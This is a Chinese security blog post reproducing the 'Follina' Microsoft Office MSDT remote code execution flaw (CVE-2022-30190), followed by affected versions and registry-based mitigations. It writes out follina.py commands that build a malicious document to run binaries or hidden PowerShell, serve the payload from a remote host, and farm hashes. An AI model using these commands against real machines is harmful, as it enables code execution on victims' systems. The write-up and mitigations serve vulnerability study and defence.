首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Microsoft Office 远程代码执行

Microsoft Office 远程代码执行

作者头像
Gamma实验室
发布2022-08-30 11:55:11
5520
发布2022-08-30 11:55:11
举报
文章被收录于专栏:Gamma安全实验室Gamma安全实验室

前言

昨天大哥扔了个MS office 0day(CVE-2022-30190)的截图到群里,晚上就复现了一下 ,随即有了下文 。

攻击者可利用恶意Office文件中的远程模板功能从远程网络服务器获取恶意HTML文件,通过微软支持诊断工具(Microsoft Support Diagnostic Tool,MSDT)执行恶意PowerShell代码,这里的利用姿势跟CVE-2021-40444是一样的,但是后面的利用链不一样。因为之前手动复现过CVE-2021-40444,所以这里复现起来没什么难度。

复现

Github上已经有了现成脚本,手里也没有现成的样本,就用他这个了。

地址:https://github.com/chvancooten/follina.py

使用方法
# Execute a local binary
python .\follina.py -m binary -b \windows\system32\calc.exe

# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -m binary -b \\localhost\c$\windows\system32\calc.exe

# Execute an arbitrary powershell command
python .\follina.py -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"

# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -m binary -b \windows\system32\calc.exe -u 1.2.3.4

# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080

首先第一种:

如果是本地测试的话,直接运行

python .\follina.py -m binary -b \windows\system32\calc.exe

然后会在当前目录下生成一个clickme.docx,然后打开http服务,直接双击clickme.docx就能弹计算器了。

第二种如果是想加载远程服务器上的html的话,再后面加个-u参数就行。

python .\follina.py -m binary -b \windows\system32\calc.exe -u ip:端口

然后把www文件夹里的exploit.html复制到vps上,开一个http服务就行了。

简单分析

我特地翻了一下 CVE-2021-40444 的样本和CVE-2022-30190生成的docx进行了一下对比。

CVE-2021-40444 的样本:

CVE-2022-30190 由poc生成的:

由此可知,他们的都是 Microsoft MSHTML的漏洞。

MSHTML(又称Trident)是微软Windows操作系统Internet Explorer(IE)浏览器的排版组件。软件开发人员使用该组件,可以在应用中快速实现网页浏览功能。MSHTML除应用于IE浏览器、IE内核浏览器外,还在Office的Word、Excel和PowerPoint文档中用来呈现Web托管内容。

当目标用户点击文档后,MSHTML会请求访问远程html页面 ,从而加载恶意的JavaScript。

接着队他生成的exploit.html进行了分析,在这里调用了PowerShell,他首先将执行的命令每两个字符直接加了个空字节,然后进行了base64编码。这其实就是PowerShell-EncodeCommand 命令执行,具体都到这里了,怎么上线不用多说了吧。

影响范围

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Coreinstallation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Coreinstallation)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Coreinstallation)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows RT 8.1

Windows 8.1 for x64-based systems

Windows 8.1 for 32-bit systems

Windows 7 for x64-based Systems Service Pack 1

Windows 7 for 32-bit Systems Service Pack 1

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows 10 for x64-based Systems

Windows 10 for 32-bit Systems

Windows 10 Version 21H2 for x64-based Systems

Windows 10 Version 21H2 for ARM64-based Systems

Windows 10 Version 21H2 for 32-bit Systems

Windows 11 for ARM64-based Systems

Windows 11 for x64-based Systems

Windows Server, version 20H2 (Server Core Installation)

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 20H2 for 32-bit Systems

Windows 10 Version 20H2 for x64-based Systems

Windows Server 2022 Azure Edition Core Hotpatch

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows 10 Version 21H1 for 32-bit Systems

Windows 10 Version 21H1 for ARM64-based Systems

Windows 10 Version 21H1 for x64-based Systems

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

修复方案

目前微软官方暂未发布此漏洞的补丁,但微软安全响应中心已经发布了此漏洞的指南,受影响用户可以应用以下临时缓解措施:

禁用MSDT URL协议

禁用 MSDT URL 协议可防止故障排除程序作为链接启动,包括整个操作系统的链接。仍然可以使用“获取帮助”应用程序和系统设置中的其他或附加故障排除程序来访问故障排除程序。请按照以下步骤禁用:

1.以管理员身份运行命令提示符。

2.要备份注册表项,请执行命令“reg exportHKEY_CLASSES_ROOTms-msdt filename“。

3.执行命令“reg delete HKEY_CLASSES_ROOTms-msdt /f”。

撤销

1.以管理员身份运行命令提示符。

2.要恢复备份注册表项,请执行命令“reg import filename”。

此外,Microsoft Defender 防病毒软件使用检测版本1.367.719.0或更高版本为可能的漏洞利用提供检测和保护;Microsoft Defender for Endpoint 为客户提供检测和警报;Microsoft365 Defender 门户中的以下警报标题可以指示网络上的威胁活动:

  • Office 应用程序的可疑行为
  • Msdt.exe 的可疑行为

注意:研究人员将检测到在野利用的0 day漏洞标识为Microsoft Office 代码执行0 day漏洞(称为“Follina”),该漏洞影响了Office 2016 和 Office 2021等。本通告主要参考微软官方公告Microsoft Windows支持诊断工具 (MSDT) 任意代码执行漏洞。

参考

https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/

【漏洞通告】Microsoft MSDT任意代码执行漏洞(CVE-2022-30190) | CN-SEC 中文网

https://www.wangt.cc/2020/06/%E7%BB%95%E8%BF%87powershell%E6%89%A7%E8%A1%8C%E7%AD%96%E7%95%A5%E6%96%B9%E6%B3%95/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-06-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gamma安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 复现
    • 使用方法
    • 简单分析
    • 影响范围
    • 修复方案
    • 参考
    相关产品与服务
    Web 应用托管
    Web 应用托管(CloudBase Webify,webify)为您的 Web 应用提供一站式托管服务,支持包括静态网站、动态 Web 服务等各种类型的 Web 应用,提供默认域名、自定义域名、HTTPS、CDN 加速,提升 Web 应用的性能和安全性。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档